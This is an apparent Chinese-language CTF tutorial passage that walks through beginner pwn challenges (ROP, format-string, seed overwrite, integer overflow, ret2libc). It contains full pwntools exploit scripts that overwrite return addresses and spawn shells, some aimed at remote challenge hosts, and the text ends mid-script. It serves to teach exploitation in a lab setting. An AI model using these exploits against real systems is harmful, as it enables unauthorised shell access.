Mac 环境下 PWN入门系列(二)——leave 指令 leave 指令等于 mov esp,ebp和 pop ebp 两条指令的组合

Mac 环境下 PWN入门系列(二)

0x0 前言

菜鸡入门,刷题可能是比较快的方式,通过刷攻防世界的新手题能快速了解到pwn的各种类型的题目,然后再仔细分析各种类型的考点。

0x1 阅读前注意点

由于我是多次调试的,所以内存地址总会发生变化,所以读者没必要太关注内存地址,由于内存地址偏移量是不变的,我们只关注内存差值就行了。

0x2 实践刷题篇

这次我们接着上一篇的,直接把攻防世界新手区的题目刷完吧。

0x2.1 level2

32位题目地址

64位题目地址(pass)

https://dn.jarvisoj.com/challengefiles/level2_x64.04d700633c6dc26afc6a1e7e9df8c94e

(1)题目描述及其考点

菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’

考点: ROP

ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

(2)wp

首先日常看保护:

可以看到是32位程序, 开启了NX保护,意味着栈没办法执行代码。

我们打开ida进行分析下

果断跟进那个显然漏洞函数:

我们可以很明显看 buf 的栈大小是: 0x88

这里要注意下 我们是通过填充buf去溢出数据,因为buf和vulnerablefunction函数是在同一个栈的,所以我们这里只能覆盖vulnerablefunction函数新开的栈的内容

一开始我傻傻地以为直接覆盖read函数的返回地址呢,read函数读取数据是从buffer里面读取的,根本不会有溢出的可能性,况且与buf数组也不在同一个栈空间。

而read可以读取0x100这样就存在栈溢出覆盖vulnerable_function函数返回地址为system函数,但是需要注意的是。

这里我们也要控制传入/bin/sh作为system的参数,这里我们可以利用程序内部的/bin/sh字符串地址。

我们可以通过覆盖vulnerable_function 函数栈空间修改ret,达到任意调用system执行任意代码。

这里先扔出exp

#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
# 这个设置debug能看到exp执行的流程

elf = ELF('./pwn6')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()
# 这里利用了pwntools两个小用法,方便我们操作
# 我们通过ELF加载elf文件,然后自动搜索里面的函数地址和寻找字符串。
# 这里因为是程序内部存在的,所以我们可以直接找到
# elf.search('/bin/sh').next() 这个其实和我们上面的那个ida直接搜索字符串得到地址是一样的
payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) +  p32(0xdeadbeef) + p32(sh_addr)
# 这里0x88是栈空间大小,然后0x4是覆盖掉ebp,后面是调用system+任意的system返回地址+参数
# io = remote('111.198.29.45',51157)
io =  process('./pwn6')
io.sendlineafter("Input:
",payload)
io.interactive()
io.close()

整得有点复杂,直接看其他人写的,也非常容易理解:

 IDA按Shift+F12查看字符串,发现有shell

buf需要填充0x92个字符(0x88+0x4)

 

现在可以构造一个system("/bin/sh")的栈帧,通过控制vulnerable_function函数返回到该栈帧的地址,执行system("/bin/sh")来获取shell

 system的地址为08048320

/bin/sh的地址为0804A024

 利用代码如下

from pwn import *
r=remote('pwn2.jarvisoj.com',9878)
payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) //跳到system地址,返回地址为0xaaaa,参数为/bin/sh
r.sendline(payload)
r.interactive()          
我自己的代码:
#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *
elf = ELF('./level2_32')

sys_addr = elf.symbols['system']
print("sys_addr:", sys_addr)
sh_addr = next(elf.search(b'/bin/sh'))
print("sh_addr:", sh_addr)

# payload='a'*(0x88+0x4)+p32(0x08048320)+'aaaa'+p32(0x804a024) 
payload = b'A' * 0x88 + b'B'*0x4 + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)
print("payload:", payload)

c = process("./level2_32") # remote('111.198.29.45', 31559)
c.sendlineafter("Input:
",payload)
c.interactive()

执行结果:

root@41e8b15e7e58:/data# python pwn_level2_32.py 
[*] '/data/level2_32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
sys_addr: 134513440
sh_addr: 134520868
payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB x83x04x08xefxbexadxde$xa0x04x08'
[+] Starting local process './level2_32': pid 600
[*] Switching to interactive mode
$ ls
CGfsb  get_shell  level0     pwn_cgfsb.py     pwn_level2.py    test_n.c
a.out  hellopwn   level2     pwn_hellopwn.py  pwn_level2_32.py    when
core   kaka.c      level2_32  pwn_level0.py    pwn_when.py
$ pwd
/data
$ 

(3)动态调试payload

为了更深入理解这个机制,我们可以通过gdb+pwntools来进行动态调试

我们修改下脚本:

#! /usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'

elf = ELF('./pwn6')
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh').next()

payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

# io = remote('111.198.29.45',45800)

io =  process('./pwn6')
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
# 这里配置tmux纵向显示,
gdb.attach(io)
io.sendlineafter("Input:
",payload)
io.interactive()
io.close()

然后在docker里面(ps.环境看我第一篇入门文章的配置),执行tmux进入新的终端,然后就可以调试了。

这里介绍下tmux的用法:

tmux的前缀是: ctrl + b 代表进入tmux标志

1.

(1)ctrl + b 然后再按冒号: 进入命令行模式,输入

set -g mouse on 回车之后就可以用滚轮来上下拖动了

(2)我们直接修改配置文件,来长期保持

vim ~/.tmux.conf

set -g mode-mouse on

2.

ctrl+b 然后按住s 可以切换不同的会话

3.

ctrl+b 然后按w可以查看窗口 按n切换到下一个窗口 按p切换到上一个窗口

我们执行下disassemble查看下当前位置

然后finish执行跳出

进入到里面之后,我们打印下栈结构stack 30 如果过长的话 按下回车会继续显示

我们可以看到当前栈EBP寄存器已经被我们传入的数据覆盖了。

那么具体覆盖的过程是怎么样的呢,我们可以更精细化来debugs

一开始我们先不要finish跳出来,我们看下当前的函数调用栈

可以看到是main->vulnerable_function->read->vulnerable_function->main

我们finish执行玩这个函数,就会ret回到read+39继续执行。

可以看到read一下子把我们的payload填充进去,成功复写了vulnerable_function函数的函数调用栈,变成了system然后system的父函数是deadbeed(这个就是我们随便定义的返回地址)

那么具体的复写机制是怎么样的呢,这个我们就需要跟踪程序的执行过程就可以理解为什么这样布置栈数据了(布置公式: sys_plt+p32(0xdeadbeef)+p32(binsh_addr)

我们继续finish跳出read函数回到vulnerable_function函数现场。

接着si 3直接跳到ret看下read函数的栈结构 stack

ret指令的作用:

栈顶字单元出栈,其值赋给EIP寄存器。即实现了一个程序的转移,将栈顶字单元保存的偏移地址作为下一条指令的偏移地址

上一篇文章说过了,ebp是当前进入函数的指令地址,ebp+4就是下一条指令地址

这就是’A’ * 0x88 + ‘B’*0x4 + p32(sys_addr) 这样组合的原因。

这里我们可以看到ESP就是就是system函数地址了,那么下一条指令就进去了system函数了

我们继续si 跟进 分析下后半段payload(p32(0xdeadbeef) + p32(sh_addr))的原因:

跟着system进去上千行代码是自闭的

其实这个原理就是默认程序调用就是ebp+4 是返回地址,

返回地址+4就是参数值,这个就回到了上面的知识点了,关于参数传递的问题。

push 参数
push 返回地址
push 函数地址

(4) 相关参考文章

XCTF攻防世界 level2

pwntools连gdb调试脚本

0x2.2 string

文件下载地址:

链接:https://pan.baidu.com/s/1E2AYj1OK3ERkvq3EBEHP9A
提取码:pye1

(1) 题目描述及其考点

菜鸡遇到了Dragon,有一位巫师可以帮助他逃离危险,但似乎需要一些要求

考点: 格式化字符串漏洞

(2) wp

拿到题目后checksec
在这里插入图片描述
可以看到是64位的,拖到ida里看一下
在这里插入图片描述
这里有个v3=malloc(8uLL),查了一下,最后结果貌似就是v3表示的地址存放了68,v3的后面一个,v3[1]是85
v4=v3,后面输出了v4,secret[0]输出的即为68存放的地址,secret[1]输出的是85存放的地址
然后我们点进函数sub_400D72
在这里插入图片描述
先输入一个长度小于0xC的name,然后我们再依次分析下面这三个函数
在这里插入图片描述
第一个函数,分析一波之后,我们要输入east来继续下去才行,然后看下第二个函数
在这里插入图片描述
这个函数当中,我们看到了printf(&format,&format),这里,我们就可以运用格式化字符串的漏洞了。我们可以在上面的v2处输入一个地址,然后通过格式化字符串漏洞改变这个地址中存放的值。对了,不要忘了先输入1让if语句通过
我们再来看第三个函数
在这里插入图片描述
首先,这个函数的参数,a1是什么呢?往前面翻,会发现其实就是上文提到过的v4,即65存放的地址,注意这个v4是int型的
在if语句中,可以看出,v1处需要用到shellcode
但是,让v1能够被执行的前提是a1处存放的内容与a1[1]相等,但是,我们知道*a1=68,a1[1]=85,如何让它们相等?这时候想起来前面有个格式化字符串漏洞,我们可以通过这个漏洞使得这两者相等。对此,我们要先知道v2在栈中的位置
在这里插入图片描述
如图,那个61616161是我们输入的aaaa,0x80是我们输入的128,数一下,128为第七个参数
下面是代码

from pwn import *

sh=remote('111.198.29.45',39819)
#注意这里一定要有,声明是64位程序,32位和64位的shellcode不一样
context(arch='amd64')

sh.recvuntil("secret[0] is ")
#这里接收v4,即68存放的地址,16是16进制的意思
v4_addr=int(sh.recvuntil('
'), 16)

sh.sendlineafter("What should your character's name be:","james")
sh.sendlineafter("So, where you will go?east or up?:","east")
sh.sendlineafter("go into there(1), or leave(0)?:","1")

#这里程序需要我们输入int型,而send发送的是str,所以先int再str
sh.sendlineafter("'Give me an address'",str(int(v4_addr)))
#这里"%85c7$n"实现的就是向栈内第七个参数所指向的地址写入85,即将v4处的68改为85
#这里的"%85c7$n"也可以改成'a'*85+%7$n,因为前面有85个字符,所以同样可以写入85
sh.sendlineafter("And, you wish is:","%85c%7$n")

#获取shellcode
shellcode=asm(shellcraft.sh())
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
sh.interactive()
#把secret[0]改为secret[1],并把后面的"%85c7$n"改为"%68c7$n",同样可以成功

在这里插入图片描述
flag:cyberpeace{a33f6431be80f0c7c252a96ba955ceee}

我的代码:

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

context(arch='amd64')
sh = process("./string") # remote('111.198.29.45', 31559)
sh.recvuntil("secret[0] is ")
v4_addr=int(sh.recvuntil('
'), 16)

sh.sendlineafter("What should your character's name be:","james")
sh.sendlineafter("So, where you will go?east or up?:","east")
sh.sendlineafter("go into there(1), or leave(0)?:","1")

sh.sendlineafter("'Give me an address'",str(int(v4_addr)))
sh.sendlineafter("And, you wish is:","%85c%7$n")

shellcode=asm(shellcraft.sh())
sh.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)
sh.interactive()

对于7,再度解释:

首先需要确定偏移量,由于是64位程序,

前6个参数从左到右存入寄存器,多余的才存入栈,所以我们最好不要把v3的地址放在格式化字符串中,因为有可能就被存入寄存器了,我们也可以用一个和地址相同长度的字符去尝试一下,一定要相同长度,不然无法确定,会发现在接下来的地址没有找到,所以我们肯定不能把v3的地址放在格式化字符串中,但前面有一个变量,可以存入长整型,我们就可以把地址存入前面的v2,然后测试一下偏移,如下:

可以看出,偏移量是7

上面代码执行时对应函数代码:

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'"); # address就是变量v2
    _isoc99_scanf("%ld", &v2);  # v2变量在这里
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);  # 格式化字符串输出
    puts("Your wish is");
    printf(&format, &format); # 利用他确定偏移量7
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

由此我们看到偏移地址为7的地方是我们给v2赋的值


为啥是这样,我还是没有太明白,就写了另外一个程序验证了下,执行到8行输入 AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x 看看stack情况:

────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /data/test_printf.c
    4 {
    5     char format;
    6     // char a = "123";
    7     scanf("%s", &format);
    8     printf(&format, &format);
 ►  9     return 0;
   10 }
────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffec50 —▸ 0x7fffffffed50 ◂— 0x1
01:0008│      0x7fffffffec58 ◂— 0x4100000000000000
02:0010│ rbp  0x7fffffffec60 ◂— 'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
03:0018│      0x7fffffffec68 ◂— '.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'
04:0020│      0x7fffffffec70 ◂— '8x.%08x.%08x.%08x.%08x.%08x.%08x'
05:0028│      0x7fffffffec78 ◂— '%08x.%08x.%08x.%08x.%08x'
06:0030│      0x7fffffffec80 ◂— 'x.%08x.%08x.%08x'
07:0038│      0x7fffffffec88 ◂— '08x.%08x'
──────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────
 ► f 0     55555555517d main+56
   f 1 30252e783830252e
   f 2 2e783830252e7838
   f 3 3830252e78383025
   f 4 252e783830252e78
   f 5 783830252e783830
   f 6                0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 20
00:0000│ rsp  0x7fffffffec50 —▸ 0x7fffffffed50 ◂— 0x1
01:0008│      0x7fffffffec58 ◂— 0x4100000000000000 #这里应该是存format,占一个A(0x41)
02:0010│ rbp  0x7fffffffec60 ◂— 'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' #然后剩下的输入字符都覆盖了stack上,按照8字节覆盖(64位机器)
03:0018│      0x7fffffffec68 ◂— '.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x' # 看吧,和上面的相比,就是差了8字节
04:0020│      0x7fffffffec70 ◂— '8x.%08x.%08x.%08x.%08x.%08x.%08x'
05:0028│      0x7fffffffec78 ◂— '%08x.%08x.%08x.%08x.%08x'
06:0030│      0x7fffffffec80 ◂— 'x.%08x.%08x.%08x'
07:0038│      0x7fffffffec88 ◂— '08x.%08x'
08:0040│ rsi  0x7fffffffec90 ◂— 0x0
09:0048│      0x7fffffffec98 ◂— 0xaa59258d6d6356a2
0a:0050│      0x7fffffffeca0 —▸ 0x555555555060 (_start) ◂— xor    ebp, ebp
0b:0058│      0x7fffffffeca8 ◂— 0x0

-----------------------------

其中,这段代码:printf(&format, &format); 实际上就是在打印stack上的数据,&format里第一个%08X就直接从栈上 0x7fffffffec60 地址处读取数据了,也就是常量字符串'AAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'的值(是一个地址)。???


再回到之前说的,我们看到偏移地址为7的地方是我们给v2赋的值。

因此我们可以构造payload="%85d%7$n",预先将打印出的v3的地址写到v2,然后将85写入到v2中的地址,即可实现修改v3的内存。

确实有点绕啊、、、、!


(3) 相关参考文章

格式化字符串漏洞利用

0x 2.3 guess_num

文件下载地址:

链接:https://pan.baidu.com/s/13uowRQszM6GRvKMEYGG16g
提取码:le64

(1) 题目描述及其考点

菜鸡在玩一个猜数字的游戏,但他无论如何都银不了,你能帮助他么

考点: 栈溢出及其随机数原理

(2) wp

日常看保护,然后开ida。

保护全开

这个题目的基本思路是通过sub_BB0生成一个随机数种子,然后想要我们猜对后面的数列,gets函数因为不限制读取的长度,所以会造成栈溢出,这里涉及到一个很常见的随机数考点,就是计算机里面很多随机数都是伪随机数算法,就是根据一个seed生成一个固定的随机数数列

所以这个题目的考点就回到如何通过栈溢出覆盖掉seed[0]

我们可以看到这里的栈溢出保护没用,因为我们根本不会超出栈空间,

首先是输入一个名字  然后再一次输入10个数字  如果10个数字和rand产生的随机数想同则成功

sub_c3E()函数

直接会cat出flag

rand()函数 产生的是伪随机数 依靠srand()来产生随机数  如果 srand的参数相同 那么rand产生的随机数相同

现在找溢出点 从我们输入的地方看

首先是输入名字

这里可以看到 输入名字的时候可以将seed 覆盖,而seed就是srand的参数,如果我们将seed覆盖掉,我们就可以自己写一个程序利用覆盖的值 产生随机数 这样 本题程序产生的随机数就已经知道了 一次输入就可以了

seed 是unsigned int 型的 在64位中 占4个字节  就是四个字符 然后从名字那倒seed中间有0x20个 然后再用用四个a覆盖掉seed

所以构造payload='a'*0x20+"aaaa"

然后我们看一下用aaaa作为种子产生的随机数是多少(要将aaaa转为十六进制)

那么可以写个exp 也可以直接输入

from pwnimport *

sh=remote("111.198.29.45","31322")

payload='a'0x20+"aaaa"

sh.sendlineafter("Your name:",payload)

num=["5","6","4","6","6","2","3","6","2","2"]

for iin rang(10):

sh.sendlineafter("Please input your guess number:",num[i])

print(sh.recall())


我的工作代码:
#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

context(arch='amd64')
sh = process("./guess_num") # remote('111.198.29.45', 31559)

payload=b'a'*0x20+b"aaaa"

sh.sendlineafter("Your name:",payload)

num=["5","6","4","6","6","2","3","6","2","2"]

for i in range(10):
   sh.sendlineafter("Please input your guess number:",num[i])

print(sh.interactive())

(3)题目小结

这个题目感觉没什么考点,不过能巩固之前学的知识点,而且与一些其他特性结合起来,比如随机数考点,对于我这个摸鱼几年的web选手来说应该比较熟悉了。

0x2.4 int_overflow

文件下载地址:

链接:https://pan.baidu.com/s/1RiL_dBXGdIRsz76Nw0Mj2w
提取码:s8sy

(1) 题目描述及其考点

菜鸡感觉这题似乎没有办法溢出,真的么?

考点: 整数溢出

(2) wp

main()函数

login()函数

关键函数 check_password()

查看有什么字符

可以利用  cat flag  读取flag

首先看check_password()函数

v3  为  unsigned _int8  型的  为8字节  可以 存储的长度 2的8次方=256

v3等于 s的长度  

如果v3>=3&&v3<=8  则 是 success

而且可以看到 后边有 strcpy()函数 这里可以进行栈溢出,将s的数据存入到dest中 

可以看到dest的长度是14,如果s的长度足够大,将cat flag的地址覆盖到返回地址那,就可以实现读取flag

但是前边有条件 v3是大于3小于8的 此时可以利用整数溢出

v3可以存储最大的长度是256  如果大于这个数将会进行高位截取 对256求余  例如 v3=257  实际多余的部分会直接忽略 等于1

所以 这里s的长度可以是3~8 或者 259~264

这里只要输入s的长度在259~264之间就可以溢出

这里取262

而s就是输入给buf的:

  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);

 所以可以给read读取输入262字节。

因为要利用 cat flag 这个来获得flag  所以查看一下地址

flag_addr=0x08048694

首先存储dest里的0x14   然后再看一下汇编代码

想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址

函数结尾有个 leave 指令 leave 指令等于 mov esp,ebp和 pop ebp 两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小 4 字节,所以要将这个出栈的数据覆盖掉 

然后jmp会跳转到下边

NOP"指令即空指令, 2. 运行该指令时单片机什么都不做,但是会占用一个指令的时间

然后就是返回地址了

所以构造paylod="a"*0x14+"aaaa"+p32(0x08048694)+"A"*234(262-0x14-4-4)        ///0x14 =十进制20,总共凑齐262个字节,让strlen(s)==262,整数溢出

写exp

form pwn import *

sh=remote("111.198.29.45",43982)     //连接这个服务器端口

sh.sendlineafter("choice:","1")

sh.sendlineafter("username:","132")

flag_addr = 0x08048694

payload = "A" * 0x14 + "AAAA" + p32(flag_addr) + "A" * 234

sh.sendlineafter("password:",payload)

print (sh.recvall())

最后我的能够运行代码;

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

io = process("./int_overflow") # remote('111.198.29.45', 31559)

io.sendlineafter('Your choice:','1')
io.sendlineafter('username:','aa')
payload = b"A"*24 + p32(0x804868b) +b'A'*234
io.sendlineafter('passwd:',payload)
io.interactive()

0x2.5 cgpwn2

文件下载地址:

链接:https://pan.baidu.com/s/1MjaJM7ThNQewgIkpFKl3cg
提取码:v4l7

(1) 题目描述及其考点

菜鸡认为自己需要一个字符串

考点: 栈溢出题目_变形

(2) wp

日常checksec

没有栈溢出保护,上ida

乍看的时候我感觉好像涉及到比较复杂的计算,这个时候我建议直接从后面开始回溯读取,让时间最小化。

结果发现我们只要重点关注最后两行输入就行了。

很明显这里用了gets所以我们可以直接retlibc hello函数

我们查看下有没有system函数,ida查看导入函数表

然后我们还需要找/bin/sh

这里浅浅分析下为什么要找/bin/sh,

1.因为内存地址是动态的,我们没办法知道我们写入的字符串地址

2.我们可以借助一些存放在bss段等可知的内存空间变量

不理解可以查阅相关资料

keyword: 程序是如何加载进内存的

或者后面我会分析一波。

这个题目我们可以利用

fgets(name, 50, stdin);伪造name为一个/bin/sh字符串

我们查看下name的位置,

bingo! 是在bss段(未初始化的变量),所以我们可以写入一个字符串了

这里注意下c语言字符串末尾必须得带上x00

所以这里就是简单计算的问题了,刚好考验下刚才level2操作,这里我就不赘述了,直接exp

from pwn import *
io = remote('111.198.29.45', 51465)
sh_addr = 0x0804A080
io.sendlineafter('name','/bin/shx00')
io.sendlineafter('here:','a'*42 + p32(0x08048420) + p32(0xdeadbeef) + p32(sh_addr)) #0x08048420是system函数地址,返回地址:p32(0xdeadbeef) 随便写一个,sh_addr是参数
io.interactive()

为啥是42,看stack分布:
-00000038 ; Use data definition commands to create local variables and function arguments.
-00000038 ; Two special fields " r" and " s" represent return address and saved registers.
-00000038 ; Frame size: 38; Saved regs: 4; Purge: 0
-00000038 ;
-00000038
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D                 db ? ; undefined
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
-0000002A                 db ? ; undefined
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026 s               db ?
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009                 db ? ; undefined
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

 r和s相差0x26+4=42. 如何找到system地址:方法,IDA里菜单栏Jump-》jump to function-》找到_system,双击-》可以看到汇编码如下:

.plt:08048420                 jmp     ds:off_804A01C
.plt:08048420 _system         endp
.plt:08048420
.plt:08048426 ; ---------------------------------------------------------------------------
.plt:08048426                 push    20h
.plt:0804842B                 jmp     sub_80483D0
.plt:08048430 ; [00000006 BYTES: COLLAPSED FUNCTION ___gmon_start__. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048436 ; ---------------------------------------------------------------------------
.plt:08048436                 push    28h
.plt:0804843B                 jmp     sub_80483D0
.plt:08048440 ; [00000006 BYTES: COLLAPSED FUNCTION ___libc_start_main. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:08048446 ; ---------------------------------------------------------------------------
.plt:08048446                 push    30h
.plt:0804844B                 jmp     sub_80483D0
.plt:0804844B ; } // starts at 80483D0
.plt:0804844B _plt            ends
.plt:0804844B

 地址:08048420,然后使用tab键,可以看到源码反编译为:

int system(const char *command)
{
  return system(command);
}

 而sh_addr的地址如何确定?IDA里反汇编:

char *hello()
{
  char *v0; // eax
  signed int v1; // ebx
  unsigned int v2; // ecx
  char *v3; // eax
  char s; // [esp+12h] [ebp-26h]
  int v6; // [esp+14h] [ebp-24h]

  v0 = &s;
  v1 = 30;
  if ( (unsigned int)&s & 2 )
  {
    *(_WORD *)&s = 0;
    v0 = (char *)&v6;
    v1 = 28;
  }
  v2 = 0;
  do
  {
    *(_DWORD *)&v0[v2] = 0;
    v2 += 4;
  }
  while ( v2 < (v1 & 0xFFFFFFFC) );
  v3 = &v0[v2];
  if ( v1 & 2 )
  {
    *(_WORD *)v3 = 0;
    v3 += 2;
  }
  if ( v1 & 1 )
    *v3 = 0;
  puts("please tell me your name");
  fgets(name, 50, stdin);
  puts("hello,you can leave some message here:");
  return gets(&s);
}

 双击name,可以看到bss里的全局变量:

.bss:0804A080 name            db 34h dup(?)           ; DATA XREF: hello+77↑o
.bss:0804A080 _bss            ends
.bss:0804A080
.prgend:0804A0B4 ; ===========================================================================
.prgend:0804A0B4
.prgend:0804A0B4 ; Segment type: Zero-length
.prgend:0804A0B4 _prgend         segment byte public '' use32
.prgend:0804A0B4 _end            label byte
.prgend:0804A0B4 _prgend         ends
.prgend:0804A0B4

 我自己运行的代码:

#!/usr/bin/python
# -*- coding:utf-8 -*-

from pwn import *

r = process("./cgpwn2") # remote('111.198.29.45', 31559)
system_adr=0x08048420
name_adr=0x0804A080
 
payload=b'A'*42+p32(system_adr)+p32(0x0)+p32(name_adr)
 
r.recvuntil("please tell me your name")
r.sendline("/bin/sh")
r.recvuntil("hello,you can leave some message here:")
r.sendline(payload)
r.interactive()

0x2.5 level3

(1) 题目描述及其考点

libc!libc!这次没有system,你能帮菜鸡解决这个难题么?

考点: 栈溢出_加强版ROP利用lib.so函数

(2) wp

日常checksec

然后上ida

非常简洁的一个read函数溢出,但是这里没有system和/bin/sh

我们可以看到libc_32.so.6是开了地址随机化的,也就是说里面的函数地址是变化,但是不同函数直接的相对偏移地址是不变的(libc.so文件中各个函数的相对位置和加载到内存中之后各个函数的相对位置相同)

换句话说就是这样:

假设 A在 libc32.so.6中当前的地址是 0x1 B在 libc32.so.6 是0x3 (这个我们可以ida或者readelf查看得到)

当程序进行加载 libc_32.so.6的时候,地址会随机化

假设A 变成了 0x2 那么我们就可以通过计算 0x2 + (0x3-0x1) = 0x4 得到b的地址

那么我们下面就进行具体的操作吧

pwntools的一些基础操作介绍:https://www.cnblogs.com/Ox9A82/p/5728149.html

如果不明白pwntools的指令可以先前去学习一下

首先程序加载的时候会有个映射,这就涉及到plt和got表,其中got表存放的就是函数绝对地址

(关于plt+got动态绑定的知识,后面我会重新细讲一波)。

可以先掌握一些概念

GOT(Global Offset Table): 全局偏移表

PLT(Procedure Link Table): 程序链接表

call printf@plt 就是先去plt表的printf 然后再jmp *printf@got 跳到got表找到真实的printf地址

延迟绑定: 程序在使用外部函数库的时候并不会将所有函数进行链接,而是在使用的时候再重新链接

实现延迟绑定:

jmp “地址”

push “ printf引用在重定位表的“.rel.plt”中的下标”;

jump dlruntime_resolve//这个函数是完成符号解析和重定位的;

_dl_runtime_resolve_avx:找到调用它的函数的真实地址,并将它填入到该函数对应的GOT中

可以提前学习一波这个文章。

计算机原理系列之八 ——– 可执行文件的PLT和GOT

回到level3

  • 首先查保护,只开了NX,没有canary,那就可以往靠溢出控制程序走向了的方向看题。

  • 载入ida后,栈溢出很明显。

在这里插入图片描述

  • 但利用起来,既没有有system函数,也没有’/bin/sh’。这对于刚接触pwn还是比较困难的,但本来就学习的过程,看了writeup又去学了下.plt与.got再来做的题。

  • 其实程序带了一个运行库的,里面有动态链接库的函数及一些其他信息。既然程序里没有自然就利用这个运行库了,根据elf文件与pe文件类似,各个函数与数据的相对地址是不变的。利用这一点与我们在程序中是调用了write与read动态库函数的,随便选择一个得到他们的地址,再根据相对地址相加减就得到我们要的函数与数据(system()与‘/bin/sh’)的地址了(整体思路)

  • 首先计算在运行库里的的read函数与system函数的相对地址。

    from pwn import *
    
    lib = ELF('./libc_32.so.6')
    
    sys_cha = hex(lib.symbols['system']-lib.symbols['read'])
    
    
  • 计算运行库中read函数与 ‘/bin/sh’的相对地址。先找到 ’/bin/sh’的地址

    ROPgadget --binary libc_32.so.6 --string '/bin/sh'
    
  • 在这里插入图片描述

    from pwn import *
    lib = ELF('./libc_32.so.6')
    
    bin_cha = hex(0x0015902b-lib.symbols['read'])
    
  • 有 a-b=c,现在我们有了c,只需通过程序溢出就可以找到b, 最后通 a = b+c得到我们要的地址。

    from pwn import *
    
    p = remote('220.249.52.133', 54407)
    elf = ELF('./level3')
    
    payload = (0x88+4)*'a'+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['read'])+p32(8)
    p.recvuntil('Input:
    ')
